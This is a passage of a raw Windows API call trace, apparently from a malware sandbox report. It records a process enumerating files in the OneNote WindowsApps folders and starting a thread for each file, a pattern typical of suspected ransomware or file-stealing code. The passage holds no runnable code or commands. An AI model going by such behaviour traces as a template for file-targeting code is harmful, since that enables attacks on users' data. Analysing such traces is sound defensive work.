	[0093.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4776f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c
	[0093.693] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b74b4f1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b74b4f1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b74b4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso0127.acl", cAlternateFileName="")) returned 1
	[0093.693] wcscmp (_String1="mso0127.acl", _String2=".") returned 1
	[0093.693] wcscmp (_String1="mso0127.acl", _String2="..") returned 1
	[0093.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11ab0
	[0093.693] wcscpy (in: _Dest=0x2e11ab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.693] wcscat (in: _Dest=0x2e11ab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.693] wcscat (in: _Dest=0x2e11ab0, _Source="mso0127.acl" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\mso0127.acl") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\mso0127.acl"
	[0093.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e11ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b74b4f1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b8eeedf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b8eeedf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ae0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20imm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="mso20imm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="mso20imm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8eeedf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5bb2b236, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5bb2b236, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5accc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30imm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="mso30imm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="mso30imm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb2b236, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5bccec1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5bccec1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x527cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiimm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="mso40uiimm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="mso40uiimm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bccec1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5bdffef6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5bdffef6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d92c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso98imm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="mso98imm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="mso98imm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bdffef6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c22c0ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c22c0ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xaf64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoimm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="msoimm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="msoimm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c252346, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c2785a4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c2785a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4c2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7imm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="msproof7imm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="msproof7imm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c2785a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c310f13, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c310f13, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1738c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msptlsimm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="msptlsimm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="msptlsimm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c310f13, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c383623, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c383623, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17a4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcsClientImm.dll", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="OcsClientImm.dll", _String2=".") returned 1
	[0093.753] wcscmp (_String1="OcsClientImm.dll", _String2="..") returned 1
	[0093.753] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c383623, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c41bf8d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c41bf8d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x189ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.odf", cAlternateFileName="")) returned 1
	[0093.753] wcscmp (_String1="office.odf", _String2=".") returned 1
	[0093.753] wcscmp (_String1="office.odf", _String2="..") returned 1
	[0093.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717990
	[0093.753] wcscpy (in: _Dest=0x4717990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.753] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.754] wcscat (in: _Dest=0x4717990, _Source="office.odf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\office.odf") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\office.odf"
	[0093.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4717990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084
	[0093.754] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c41bf8d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5c906d50, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5c906d50, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc6a0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.UI.Xaml.Core.dll", cAlternateFileName="")) returned 1
	[0093.754] wcscmp (_String1="Office.UI.Xaml.Core.dll", _String2=".") returned 1
	[0093.754] wcscmp (_String1="Office.UI.Xaml.Core.dll", _String2="..") returned 1
	[0093.754] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c906d50, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5caaa739, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5caaa739, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47cac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.UI.Xaml.OneNote.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="Office.UI.Xaml.OneNote.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="Office.UI.Xaml.OneNote.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5caaa739, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5cb1ce49, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5cb1ce49, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8b2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.UI.Xaml.Osf.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="Office.UI.Xaml.Osf.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="Office.UI.Xaml.Osf.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb1ce49, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5cc4e121, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5cc4e121, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x353ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="omrautimm.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="omrautimm.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="omrautimm.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc4e121, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5cd591a0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5cd591a0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2da8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="omsautimm.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="omsautimm.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="omsautimm.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd591a0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5cd7f403, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5cd7f403, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x35ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteAppContracts.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="OneNoteAppContracts.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="OneNoteAppContracts.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd7f403, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5ce6421f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5ce6421f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x25b0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenoteim.exe", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="onenoteim.exe", _String2=".") returned 1
	[0093.904] wcscmp (_String1="onenoteim.exe", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ce6421f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5ceb06d6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5ceb06d6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5c4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenoteshare.exe", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="onenoteshare.exe", _String2=".") returned 1
	[0093.904] wcscmp (_String1="onenoteshare.exe", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ceb06d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5d5b158e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5d5b158e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x114acc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onmainim.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="onmainim.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="onmainim.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d5b158e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5d9dd785, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5d9dd785, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa45cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onresim.dll", cAlternateFileName="")) returned 1
	[0093.904] wcscmp (_String1="onresim.dll", _String2=".") returned 1
	[0093.904] wcscmp (_String1="onresim.dll", _String2="..") returned 1
	[0093.904] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d9dd785, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5db34cbb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5db34cbb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22cac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osfimm.dll", cAlternateFileName="")) returned 1
	[0093.905] wcscmp (_String1="osfimm.dll", _String2=".") returned 1
	[0093.905] wcscmp (_String1="osfimm.dll", _String2="..") returned 1
	[0093.906] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db34cbb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5db34cbb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5db34cbb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osfproxyimm.dll", cAlternateFileName="")) returned 1
	[0093.906] wcscmp (_String1="osfproxyimm.dll", _String2=".") returned 1
	[0093.906] wcscmp (_String1="osfproxyimm.dll", _String2="..") returned 1
	[0093.906] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db34cbb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5db81172, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5db81172, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x68cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osfsharedimm.dll", cAlternateFileName="")) returned 1
	[0093.906] wcscmp (_String1="osfsharedimm.dll", _String2=".") returned 1
	[0093.906] wcscmp (_String1="osfsharedimm.dll", _String2="..") returned 1
	[0093.906] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5db81172, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b6b86, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5db81172, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pages", cAlternateFileName="")) returned 1
	[0093.906] wcscmp (_String1="pages", _String2=".") returned 1
	[0093.906] wcscmp (_String1="pages", _String2="..") returned 1
	[0093.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770f78
	[0093.906] wcscpy (in: _Dest=0x4770f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.906] wcscat (in: _Dest=0x4770f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.906] wcscat (in: _Dest=0x4770f78, _Source="pages" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\pages") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\pages"

Thread:
	id = 824
	os_tid = 0x11c8

	[0079.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47c9030
	[0079.722] wcscpy (in: _Dest=0x47c9030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0079.722] wcscat (in: _Dest=0x47c9030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.722] wcscat (in: _Dest=0x47c9030, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4268
	[0079.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fa379e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f40
	[0079.725] wcscmp (_String1=".", _String2=".") returned 0
	[0079.725] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fa379e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.725] wcscmp (_String1="..", _String2=".") returned 1
	[0079.725] wcscmp (_String1="..", _String2="..") returned 0
	[0079.725] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59414a27, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5943ac80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5943ac80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.725] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.725] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3b660
	[0079.725] wcscpy (in: _Dest=0x2e3b660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0079.725] wcscat (in: _Dest=0x2e3b660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.725] wcscat (in: _Dest=0x2e3b660, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70
	[0093.635] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fa379e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf4f3df1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x58fa379e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.635] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.635] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x47675d8
